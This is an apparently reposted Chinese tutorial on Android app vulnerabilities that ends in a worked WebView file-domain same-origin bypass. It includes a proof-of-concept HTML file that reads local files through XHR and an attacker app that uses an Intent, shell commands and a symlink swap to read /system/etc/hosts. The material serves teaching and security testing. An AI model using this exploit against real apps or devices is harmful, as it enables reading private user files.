WebView File域同源策略绕过漏洞实例分析

WebView File域同源策略绕过漏洞实例分析

基本知识Android架构

  • Kernel内核层
    漏洞危害极大,通用性强
    驱动由于多而杂,也可能存在不少漏洞

  • Libaries系统运行库层

    • 系统中间件形式提供的运行库
      包括libc、WebKit、SQLite等等

    • AndroidRunTime
      Dalvik虚拟机和内核库

  • FrameWork应用框架层
    提供一系列的服务和API的接口

    • 活动管理器

    • 内容提供器

    • 视图

    • 资源管理器

    • 通知管理器

  • Application应用层

    • 系统应用
      主屏幕Home、联系人Contact、电话Phone、浏览器Browser

    • 其他应用
      开发者使用应用程序框架层的API实现的程序

Andoroid常用组件

  • Acitivity活动

  • Service服务

  • BroadcastRecviver广播接收器

  • ContentProvider内容提供器

Android App常见漏洞     (OWASP Mobile 前二0)平台使用不当

  • 概述
    平台功能的滥用,或未能使用平台的安全控制。如Intent误用、权限误用等

  • 风险
    很广泛,可能涉及移动平台各个服务

  • 举例
    iOS系统中,将密码数据存放在本地文件而没有存放在密钥链中,导致可以从伪加密的备份数据中读取
    Android系统中,Intent使用不当导致恶意用户劫持修改intent的内容,以原进程的身份权限执行任意动作

  • 不安全的数据存储

  • 不安全的通信

典型漏洞及挖掘方法数据存储漏洞

  • 数据文件或目录

    • 明文存储

    • MODE_PRIVATE

    • 明文存储

    • 创建数据库时没有使用MODE_PRIVATE模式

    • 创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件

    • 明文存储,而root用户可读,导致敏感数据泄露

    • SharedPreferences
      data/data/程序包名/shared_prefs/*.xml

    • SQLiteDatabases
      data/data程序包名/database/*.db

    • InternalStorage
      data/data/程序报名/files/*

    • ExternalStorage
      /mnt/sdcard/*

  • 检测方法

    • 浏览/data/data/包名目录下的各个文件和目录,检查是否存在others用户可读的文件

    • 检查配置文件、数据库等是否存在明文敏感信息

  • 挖掘方法

    • 代码检测
      检查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函数的mode参数是否为MODE_PRIVATE(0x0000)

数据通信漏洞

  • 使用HTTP等明文协议将敏感信息传送至服务端

    • 通过局域网嗅探、恶意公共WIFI、恶意代理服务、DNS劫持等手段捕获明文通信,产生中间人攻击

  • SSL证书弱校验

    • 搜索.method public checkServerTrusted

    • 定位.method和end method

    • 检查是否存在return-void

    • 同理检查verify(String, SSLSession)的返回值是否恒为True、X509HostnameVerifier的参数是否为ALLOW_ALLHOSTNAME_VERIFIER

    • 开启Fiddler的HTTPS解析功能,生成并导出自签名证书,安装到手机中

    • 开启Fiddler代理,并允许远程主机连接该代理

    • APP中缺乏对SSL证书的校验
      客户端中应该实现X509TruestManager类,包括checkServerTrusted\checkClientTrusted\getInstance三个方法

    • 证书校验失败会导致异常,然后由应用程序对证书校验异常进行处理

    • 未对服务器证书校验会导致TLS中间人攻击
      使用HttpsURLConnection时,实现自定义HostnameVerifier过程中未对主机名做验证,则默认不检查证书域名与站点名是否匹配。或者在设置HttpsURLConnection的HostnameVerifier时,将其设为ALLOW_ALL_HOSTNAME_VERIIER则接受所有域名.

    • 攻击方法

    • 挖掘方法

  • SSL证书强校验
    可能通过Xp、Patch等方法绕过

组件暴露漏洞

  • Android:exported是四大组件中都有的一个属性,用来表示是否支持其他应用调用当前组件

  • 如果有intent-filter,默认值为true;反之默认则为false

  • exported导出组件的权限控制

  • 绕过认证

    • activity暴露后被第三方调用,可能在没有密码的情况下登录/重置密码

  • 敏感信息泄露

    • recviver暴露后被第三方启动,可能查看到调试等信息中包含的敏感信息

  • 越权行为

    • 低权限程序通过调用高权限程序暴露的组件,执行高权限动作

  • 挖掘方法

    • 查看AndroidManifest.xml

    • 通过drozer的attacksurface工具进行安全评估

弱加密漏洞

  • 密码硬编码
    反编译、root查看等可以取得

  • AES/DES弱加密
    ECB模式容易受到分析或重放攻击

WebView

主要包括三种漏洞:

  • 任意代码执行

    • 编写遍历对象的网页,如果存在getClass方法则存在远程代码执行漏洞

    • fiddler的before脚本可以让任意webview访问任意网页时进行测试

    • Android4.2以后,通过addJavascriptInterface注解的方法可被网页中的java方法调用。如果未加过滤则可能存在漏洞

    • 挖掘方法:

  • 域控制不严格

    • setAllowFileAccess

    • setAllowFileAccessFromFileURLs

    • setAllowUniversalAccessFromFileURLs(导致远程泄露敏感信息)

    • 通过符号链接攻击可以访问本地文件:无论怎么限制,js都能访问本文件的。而通过延时执行和将当前文件替换成指向指向其他文件的软连接就可以读取到被符号链接所指向的文件

    • WebView如果打开了对JavaScript的支持,同时未对file:///形式的URL做限制,则会导致coookie、私有文件、数据库等敏感信息泄露

  • 密码明文存储
    当用户选择保存在WebViEW中输入的用户名和密码时,则会被明文保存到app目录下的data.db中
    具有root权限的攻击者可以读取

漏洞挖掘流程总结

  • 静态分析
    快速检测,获得分析重点目标

    • 检查AndroidManifest文件

    • 脚本分析Smali代码

  • 动态分析
    对疑似风险进行验证和危害评估

    • 调试模式分析

    • 尝试操作/漏洞验证

    • drozer

    • 抓包分析数据及接口

  • 逆向分析
    加密破解以及对逻辑和代码的进一步分析

  • 自动化辅助系统

    • MobSF 包括前端web界面,

    • Marvin 包括前端web界面,部署麻烦

    • Inspeckage Xposed插件

今天我们就来讲讲WebView 的漏洞

[Java] 纯文本查看 复制代码

?

示例代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

代码如下代码主要区别在于这次加载的attack_file.html

public class MainActivity extends Activity {

private WebView webView;

private Uri mUri;

private String url;

String mUrl1 = “file:///android_asset/html/attack_file.html”;

//String mUrl2 = “file:///android_asset/html/test.html”;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(new JSInterface(), “jsInterface”);

webView.getSettings().setAllowFileAccessFromFileURLs(true);

webView.setWebChromeClient(new WebChromeClient() {

@Override

public boolean onJsAlert(WebView view, String url, String message,JsResult result) {

//Required functionality here

return super.onJsAlert(view, url, message, result);

}

});

webView.loadUrl(mUrl1);

}

class JSInterface {

public String onButtonClick(String text) {

final String str = text;

runOnUiThread(new Runnable() {

@Override

public void run() {

Log.e(“leehong2”, “onButtonClick: text = ” + str);

Toast.makeText(getApplicationContext(), “onButtonClick: text = ” + str, Toast.LENGTH_LONG).show();

}

});

return “This text is returned from Java layer. js text = ” + text;

}

public void onImageClick(String url, int width, int height) {

final String str = “onImageClick: text = ” + url + ” width = ” + width + ” height = ” + height;

Log.i(“leehong2”, str);

runOnUiThread(new Runnable() {

@Override

public void run() {

Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();

}

});

}

}

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

我们再来看attack_file.html的代码:‘

<font ><font face=”&ampquot;”><font ><html>

<body>

<script>

function stealFile()

{

var file = “file:///mnt/sdcard/233.txt”;

var xmlHttpReq = new XMLHttpRequest();

xmlHttpReq.onreadystatechange = function(){

if(xmlHttpReq.readyState == 4){

alert(xmlHttpReq.responseText);

}

}

xmlHttpReq.open(“GET”, file);

xmlHttpReq.send(null);

}

stealFile();

</script>

</body>

</html> </font></font></font>

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。

我们首先看WebViewFileDemo1,主要代码如下:

<font face=”&ampquot;”><font >package com.example.webviewfiledemo; [/size][/font][/p]

import android.app.Activity;

import android.content.Intent;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import android.webkit.JsResult;

import android.webkit.WebChromeClient;

import android.webkit.WebView;

import android.widget.Toast;

public class MainActivity extends Activity {

private WebView webView;

private Uri mUri;

private String url;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(new JSInterface(), “jsInterface”);

webView.getSettings().setAllowFileAccessFromFileURLs(false);

//webView.getSettings().setAllowFileAccess(false);

webView.setWebChromeClient(new WebChromeClient() {

@Override

public boolean onJsAlert(WebView view, String url, String message,JsResult result) {

//Required functionality here

return super.onJsAlert(view, url, message, result);

}

});

Intent i = getIntent();

if (i != null) {

mUri = i.getData();

}

if (mUri != null) {

url = mUri.toString();

}

if (url != null) {

webView.loadUrl(url);

}

}

} </font></font>

这个Activity接收来自外部的Intent,提取Intent里面的url并加载。

接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:

public class MainActivity extends Activity {

public final static String HTML =

“<body>” +

“<u>Wait a few seconds.</u>” +

“<script>” +

“var d = document;”+

“function doitjs(){“+

“var xhr = new XMLHttpRequest;”+

“xhr.onload = function(){“+

“var txt = xhr.responseText;”+

“d.body.appendChild(d.createTextNode(txt));”+

“alert(txt);”+”};”+

“xhr.open(‘GET’,d.URL);”+

“xhr.send(null);”+

“}”+

“setTimeout(doitjs,8000);”+

“</script>”+

“</body>”;

public static String MY_TMP_DIR;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

MY_TMP_DIR = getDir(“payload_odex”, MODE_PRIVATE).getAbsolutePath();

doit();

}

public void doit() {

String HTML_PATH = MY_TMP_DIR + “/A0” + “.html”;

try {

cmdexec(“mkdir ” + MY_TMP_DIR);

cmdexec(“echo \”” + HTML + “\” > ” + HTML_PATH);

cmdexec(“chmod -R 777 ” + MY_TMP_DIR);

Thread.sleep(1000);

invokeVulnAPP(“file://” + HTML_PATH);

Thread.sleep(6000);

cmdexec(“rm ” + HTML_PATH);

cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);

} catch (Exception e) {

// TODO: handle exception

}

}

public void invokeVulnAPP(String url) {

try {

Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));

intent.addCategory(Intent.CATEGORY_LAUNCHER);

intent.setClassName(“com.example.webviewfiledemo”, “com.example.webviewfiledemo.MainActivity”);

startActivity(intent);

} catch (Exception e) {

// TODO: handle exception

}

}

public void cmdexec(String cmd) {

try {

String[] tmp = new String[] { “/system/bin/sh”, “-c”, cmd };

Runtime.getRuntime().exec(tmp);

} catch (Exception e) {

// TODO: handle exception

}

}

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

public final static String HTML =

“<body>” +

“<u>Wait a few seconds.</u>” +

“<script>” +

“var d = document;”+

“function doitjs(){“+

“var xhr = new XMLHttpRequest;”+

“xhr.onload = function(){“+

“var txt = xhr.responseText;”+

“d.body.appendChild(d.createTextNode(txt));”+

“alert(txt);”+”};”+

“xhr.open(‘GET’,d.URL);”+

“xhr.send(null);”+

“}”+

“setTimeout(doitjs,8000);”+

“</script>”+

“</body>”;

当WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程,往下看代码。

cmdexec(“mkdir ” + MY_TMP_DIR);

cmdexec(“echo \”” + HTML + “\” > ” + HTML_PATH); cmdexec(“chmod -R 777 ” + MY_TMP_DIR);

Thread.sleep(1000);

invokeVulnAPP(“file://” + HTML_PATH);

Thread.sleep(6000);

cmdexec(“rm ” + HTML_PATH);

cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);

调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts 。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:WebView File域同源策略绕过漏洞实例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28422

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月21日 下午11:02
下一篇 2022年9月21日 下午11:03

相关推荐

  • Android三方依赖冲突Gradle中exclude如何使用

    一、场景 Android项目的开发过程中,我们项目中的gradle的dependencies闭包中会引入很多三方依赖库,引入的库越多,越容易产生库之间的依赖冲突。 列举冲突的场景: 1、同一个依赖库引入多个版本; 2、重复引入了同一个依赖库; 编译报错信息一般为:Program type alrea…

    2022年9月13日
    4.0K00
  • dint数据类型的含义是什么

    dint是带符号位的32位整数类型;dint的表示方法及范围是“L#-2147483648~L#+2147483647”,定义为双整数或长整数,字节是电脑里的数据量单位,在计算机中,数据只用0和1这种表现形式。 本教程操作环境:windows10系统、DELL G3电脑。 dint是什么数据类型 D…

    2022年9月6日
    1.8K00
  • coreldraw如何裁剪图片

    coreldraw裁剪图片的方法 1、打开软件,导入一张图片。 2、在页面左侧找到裁剪工具点击。 3、在图片上框选出你要裁剪的区域。 4、框选好之后,双击鼠标左键就成功裁好了。 以上就是关于“coreldraw如何裁剪图片”这篇文章的内容,相信大家都有了一定的了解,希望小编分享的内容对大家有帮助,若…

    2022年9月26日
    71100
  • Word尾注怎么转换成脚注

    尾注转换成脚注的方法: 1、首先点击任务选项栏中的“引用”。 2、然后去点击里面的“插入尾注”。 3、之后点击下面的小箭头,选择“脚注和尾注”。 4、在弹出的窗口中点击“转换”。 5、之后去勾选“尾注全部转换成脚注”。 6、最后点击确定即可搞定。 感谢各位的阅读,以上就是“Word尾注怎么转换成脚注…

    2022年8月31日
    1.1K00
  • 如何分析APP测试及流程

    目前工作中,测试App会涉及到一下几个方面:客户端、小程序、h6页面等,看似不同却又大相径庭。 点击添加图片描述(非常多60个字) 1、功能模块测试:功能模块测试其实最重要的是考察测试者的逻辑思维能力和对需求的理解能力以及一些页面交互性,输入输出的考虑等,所以以上三者是共通的,没有太大的区别。 2、…

    2022年9月2日
    56200
  • Vue登录功能如何实现

    Vue项目中实现登录大致思路 1、名列前茅次登录的时候,前端调后端的登陆接口,发送用户名和密码 2、后端收到请求,验证用户名和密码,验证成功,就给前端返回一个token 3、前端拿到token,将token存储到localStorage和vuex中,并跳转路由页面 4、前端每次跳转路由,就判断 lo…

    2022年8月29日
    1.3K00
  • word字体放大如何弄

    word字体放大的方法 1、先选中需要放大的字体,然后点击开始菜单中的增大字号。 2、选中字体之后在悬浮框中点击字体大小就可以设置了。 3、选中需要放大的字体之后,点击上方菜单栏中的输入框,直接在里面输入你要的字号。 以上就是“word字体放大如何弄”这篇文章的所有内容,感谢各位的阅读!相信大家阅读…

    2022年9月10日
    53300
  • windows浩辰cad看图王图形怎么填充颜色

    浩辰cad看图王图形填充颜色: 答:浩辰cad看图王没有图形填充功能。 1、浩辰cad看图王只能修改图纸的背景颜色。 2、通过修改背景颜色,可以让图纸的观感更加清晰。 3、只有在CAD本体软件中才能使用图形填充颜色。 4、下载安装完成后,打开软件,在下方命令中输入“H”,回车运行。 5、打开图案填充…

    2022年9月21日
    99900
  • 做好APP测试的8条法则是什么

    一说起软件测试,测试员想到肯定是去检查文件,功能,API,性能并确定软件是否安全,以及关于软件特定部分的其他事项。但是对于移动测试,测试员不得不基于用户移动使用模式考虑移动相关的功能。 下面主要说说移动测试,对于产品的手机项目(应用软件),主要是进行系统测试。而针对手机应用软件APP的系统测试,我们…

    2022年9月6日
    58000
  • Navicat怎么修改语言

    本文是基于15.0.21版本,据我所知 12.1.12 版本的菜单跟我的截图不一样,所以没法参考。 步骤 工具->选项->常规->语言->选择 “English” 必须重新打开Navicat Premium才能生效 到此,相信大家对“Navicat怎么修改语言”有了更深的了解…

    2022年9月15日
    64000
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部